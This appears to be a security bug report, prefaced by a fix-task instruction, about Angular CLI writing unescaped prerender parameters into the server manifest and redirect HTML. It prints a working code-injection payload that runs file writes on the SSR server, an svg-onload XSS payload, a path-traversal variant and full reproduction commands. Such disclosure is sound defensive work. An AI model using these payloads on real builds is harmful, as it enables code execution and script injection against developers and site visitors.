Angular SSR Unescaped prerender parameters enable RCE through generated manifests and XSS in redirect pages

Start by reading manifest.ts and utils.ts, where the issue shows values entering generated JavaScript and redirect HTML; trace how ng-routes.ts substitutes parameters into redirect URLs. Reproduce both cases from the linked proof of concept and add or run focused checks for the generated manifest and redirect page. Done means parameter values cannot execute code or inject markup in either output.

Command

build

Is this a regression?

• Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was

No response

Description

ng build writes the values returned by getPrerenderParams() into two generated files without escaping them:

• the server manifest (angular-app-manifest.mjs), executable ESM that the SSR server imports;
• the static redirect pages generated when prerendering.

Those values are documented as application data, usually read from a service:

const ids = await dataService.getIds();
return ids.map((id) => ({ id }));

So whoever controls that data, such as a CMS entry or a shared or compromised API, controls code and HTML that the build ships. One value is enough:

Value returned by getPrerenderParams()	Result
x'(){},[(function(){…})()](){},[`](){('	Runs arbitrary code in the SSR server when the manifest is imported, on the first request of any kind.
x"><svg onload=alert(1)> with outputMode: 'static'	Injects markup into the generated redirect page: three <svg onload> elements per page.

Server manifest. manifest.ts interpolates the asset path, which is derived from the route, into the generated module twice: as the object key and inside the import() specifier.

serverAssets[file.path] =
  `{size: ${size}, hash: '${file.hash}', text: () => import('./${jsChunkFilePath}').then(m => m.default)}`;
// ...
  .map(([key, value]) => `'${key}': ${value}`)

A lone ' breaks the module. A value that parses in both positions does more. It closes the key, runs as a computed method name, then opens a template literal that swallows the second, mangled copy:

'product/x'(){},[(function(){import('fs').then(function(f){f.writeFileSync('PWNED.txt','rce')})})()](){},[`](){('/index.html': {size: 975, hash: '5b338b119c4ac504', text: () => import('./assets-chunks/product_x'(){},[(function(){import('fs')_then(function(f){f_writeFileSync('PWNED_txt','rce')})})()](){},[`](){('_index_html.mjs').then(m => m.default)},

node --check passes, the build succeeds and the server boots. The code runs when Node first imports the manifest, which is the first request handled, whatever its status. A 404 runs it too. A few lines above, the same data reaches routes: through JSON.stringify(), where it is inert.

Redirect pages. utils.ts builds the page without escaping:

    <meta http-equiv="refresh" content="0; url=${url}">
    <pre>Redirecting to <a href="${url}">${url}</a></pre>

For a relative redirectTo under a parameterized parent, ng-routes.ts substitutes the value intourl, so the markup reaches all three positions. In a template, {{ slug }} escapes the very same value correctly.

Minimal Reproduction

Repository: https://github.com/SkyZeroZx/angular-cli-prerender-param-injection-poc.

There the values arrive over HTTP from the application's own API.

1. Code execution through the manifest (outputMode: 'server')

// app.routes.ts
export const routes: Routes = [{ path: 'product/:slug', component: App }];

// app.routes.server.ts
export const serverRoutes: ServerRoute[] = [
  {
    path: 'product/:slug',
    renderMode: RenderMode.Prerender,
    getPrerenderParams: async () => [
      {
        slug: "x'(){},[(function(){import('fs').then(function(f){f.writeFileSync('PWNED.txt','rce')})})()](){},[`](){('",
      },
    ],
  },
  { path: '**', renderMode: RenderMode.Prerender },
];

ng build
node --check dist/repro-app/server/angular-app-manifest.mjs
node dist/repro-app/server/server.mjs &
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:4000/
ls PWNED.txt

Prerendered 1 static route.
Application bundle generation complete.

404
PWNED.txt

With slug: "customer's-choice" instead, the build is still green and every request returns 500.

2. HTML injection in the redirect page (outputMode: 'static')

// app.routes.ts
export const routes: Routes = [
  {
    path: 'go/:slug',
    children: [
      { path: 'r', redirectTo: 'target' },
      { path: 'target', component: App },
    ],
  },
];

// app.routes.server.ts
export const serverRoutes: ServerRoute[] = [
  {
    path: 'go/:slug',
    renderMode: RenderMode.Prerender,
    getPrerenderParams: async () => [{ slug: 'x"><svg onload=alert(1)>' }],
  },
  { path: '**', renderMode: RenderMode.Prerender },
];

dist/repro-app/browser/go/x"><svg onload=alert(1)>/r/index.html:

<meta http-equiv="refresh" content="0; url=/go/x"><svg onload=alert(1)>/target">
...
<pre>Redirecting to <a href="/go/x"><svg onload=alert(1)>/target">/go/x"><svg onload=alert(1)>/target</a></pre>

On Windows, ", < and > are not valid in a file name. With a parent that only redirects, such as { path: 'go/:slug', children: [{ path: '', redirectTo: 'claimed', pathMatch: 'full' }] }, appending /../../safe to the value keeps the markup out of the file name but in the page. posix.join() collapses the dot segments for the output path, while joinUrlParts() keeps them in the target, so the page lands at go/safe/index.html and is served at /go/safe/.

Your Environment

Angular CLI 22.2.3
@angular/build 22.2.3
@angular/ssr 22.2.3
Node.js 24.16.0
npm 11.13.0
Windows 11 x64
WSL Ubuntu

Anything else relevant?

No response